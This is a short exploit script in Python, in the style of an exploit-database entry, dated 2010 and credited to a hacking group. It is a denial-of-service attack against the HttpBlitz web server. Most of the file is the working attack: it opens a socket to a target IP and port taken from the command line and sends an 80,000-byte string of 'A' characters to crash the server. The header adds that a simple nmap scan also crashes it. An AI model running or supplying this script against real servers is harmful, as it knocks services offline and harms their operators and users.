HttpBlitz Web Server - Denial of Service

#!/usr/bin/python
 
# Title: HttpBlitz DOS
# Date: 12/24/2010
# Author: otoy
# Software Link: http://sourceforge.net/projects/httpblitz/files/HttpBlitz.msi/download
# Tested on: Windows XP SP3
#
# ======================================================================
#        ___       _ __        __            __    _     __
#   ____/ (_)___ _(_) /_____ _/ / ___  _____/ /_  (_)___/ /___  ____ _
#  / __  / / __ `/ / __/ __ `/ / / _ \/ ___/ __ \/ / __  / __ \/ __ `/
# / /_/ / / /_/ / / /_/ /_/ / / /  __/ /__/ / / / / /_/ / / / / /_/ /
# \__,_/_/\__, /_/\__/\__,_/_/  \___/\___/_/ /_/_/\__,_/_/ /_/\__,_/
#        /____/                          http://www.digital-echidna.org
# ======================================================================
#
# Greetz:
#   say hello to all digital-echidna org crew:
#       modpr0be, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix
#   special thx to offsec, exploit-db, corelan team
#
#### Software description:
# A cross platform Http web server developed using C++. Agile methodology 
# with emphasis on :- 1. Good Design 2. Object Oriented Programming 3. 
# Refactoring 4. Static/Dynamic Analysis, Unit-testing, Code Coverage 5. 
# Software Engineering best practices.  
#
#### DOS information:
# you just have to send long string, and it will crash the program
# just scanning the the port using nmap will crash the program too. :D
 
import socket, sys
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
junk = "\x41" * 80000
 
def banner():
    print "\nHttpBlitz DOS."
    print "By: otoy (otoy[at]digital-echidna[dot]org)\n"
 
     
if len(sys.argv)!=3:
        banner()
        print "Usage: %s <ip> <port>\n" %sys.argv[0]
        sys.exit(0)
 
try:
    s.connect((sys.argv[1], int(sys.argv[2])))
except:
    print "Can\'t connect to server!\n"
    sys.exit(0)
     
s.send(junk+'\r\n')
s.close()